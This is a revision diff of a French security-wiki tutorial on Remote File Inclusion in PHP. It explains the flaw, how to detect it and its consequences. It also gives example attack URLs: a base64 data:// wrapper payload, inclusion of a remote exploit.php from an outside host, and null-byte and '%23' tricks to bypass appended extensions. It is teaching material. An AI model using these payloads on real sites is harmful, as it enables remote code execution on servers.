Ci-dessous, les différences entre deux révisions de la page.
Prochaine révision | Révision précédente | ||
web:injection_rfi [2016/03/11 10:32] arkinar créée |
web:injection_rfi [2016/07/04 08:38] (Version actuelle) |
||
---|---|---|---|
Ligne 6: | Ligne 6: | ||
- | Le RFI est une faille permettant à un attaquant d'inclure un fichier distant. Cette vulnérabilité est basé | + | Le RFI est une faille permettant à un attaquant d'inclure un fichier distant. Cette vulnérabilité est basée |
- | sur des fonctions tels que include ou encore require (pour le php). | + | sur des fonctions telles que include ou encore require (pour le php). |
D'autres langages comme le Javascript et l'ASP sont aussi impactés. | D'autres langages comme le Javascript et l'ASP sont aussi impactés. | ||
- | Les conséquences sont multiples tels que : | + | Les conséquences sont multiples : |
- L'exécution de code sur le serveur web | - L'exécution de code sur le serveur web | ||
- | - L'exécution de code sur le côté client comme le JavaScript qui peut conduire à d'autres attaques comme Cross-site scripting (XSS) | + | - L'exécution de code sur le côté client comme le JavaScript peut conduire à d'autres attaques comme Cross-site scripting (XSS) |
- Déni de service (DoS) | - Déni de service (DoS) | ||
- | - Le vol de données / Manipulation | + | - Le vol de données / Manipulation de données |
Ces types d’attaques sont de moins en moins présentes dans les applications qui sont basées majoritairement sur des framework robustes. | Ces types d’attaques sont de moins en moins présentes dans les applications qui sont basées majoritairement sur des framework robustes. | ||
Ligne 31: | Ligne 31: | ||
Dans cette exemple le nom du fichier est extrait depuis la requete HTTP et aucunes validations ne lui est appliquées. | Dans cette exemple le nom du fichier est extrait depuis la requete HTTP et aucunes validations ne lui est appliquées. | ||
- | La détection de cette faille est relativement simple car si on inclus un fichier inexistant on se retrouve avec une erreur du style : | + | La détection de cette faille est relativement simple car si on inclut un fichier inexistant on se retrouve avec une erreur qui peut ressembler à : |
<code> | <code> | ||
Ligne 56: | Ligne 56: | ||
__2.2 Méthode 2 : DATA URI__ | __2.2 Méthode 2 : DATA URI__ | ||
- | Nous allons utiliser le wrapper PHP DATA pour executer du code php. | + | Nous allons utiliser le wrapper PHP DATA pour exécuter du code php. |
Tout d'abord nous allons encoder notre script en base64 | Tout d'abord nous allons encoder notre script en base64 | ||
Ligne 73: | Ligne 73: | ||
[[http://localhost/rfi.php?page=data://text/plain;base64,notre_script_encodé_en_base64]] | [[http://localhost/rfi.php?page=data://text/plain;base64,notre_script_encodé_en_base64]] | ||
- | On obtiens : | + | On obtient : |
[[http://localhost/rfi.php?page=data://text/plain;base64,PD9waHAgZWNobyAndnVsbmVyYWJsZSc7ID8+]] | [[http://localhost/rfi.php?page=data://text/plain;base64,PD9waHAgZWNobyAndnVsbmVyYWJsZSc7ID8+]] | ||
Cela aura pour effet d'afficher "vulnérable" sur le site. | Cela aura pour effet d'afficher "vulnérable" sur le site. | ||
- | Je vous laisse imaginer des scripts plus poussé pour effectuer tel ou tel actions. | + | Je vous laisse imaginer des scripts plus poussés pour effectuer des actions plus évoluées. |
__2.3 Méthode 3 : Bypass d'extensions auto ajoutées__ | __2.3 Méthode 3 : Bypass d'extensions auto ajoutées__ | ||
- | Il se peut que lorsque que vous essayer d'inclure un script distant le site ajoute automatiquement une extention (.php / .text /.js ...) | + | Il est possible que lorsque d'un essaie d'inclure un script distant le site ajoute automatiquement une extension (.php / .text /.js ...) |
- | Il y'a deux façon pour éviter cela : | + | Il y a deux façons pour éviter cela : |
Première solution : Le null byte (CF faille LFI) | Première solution : Le null byte (CF faille LFI) | ||
Ligne 92: | Ligne 92: | ||
[[http://localhost/rfi.php?page=http://wikisecu.fr/exploit.php%00]] | [[http://localhost/rfi.php?page=http://wikisecu.fr/exploit.php%00]] | ||
- | Seconde solution (fonctionne uniquement sur certain site) : Le caractère # | + | Seconde solution (fonctionne uniquement sur certains sites) : Le caractère # |
Le caractère # une fois encodé donne %23 | Le caractère # une fois encodé donne %23 |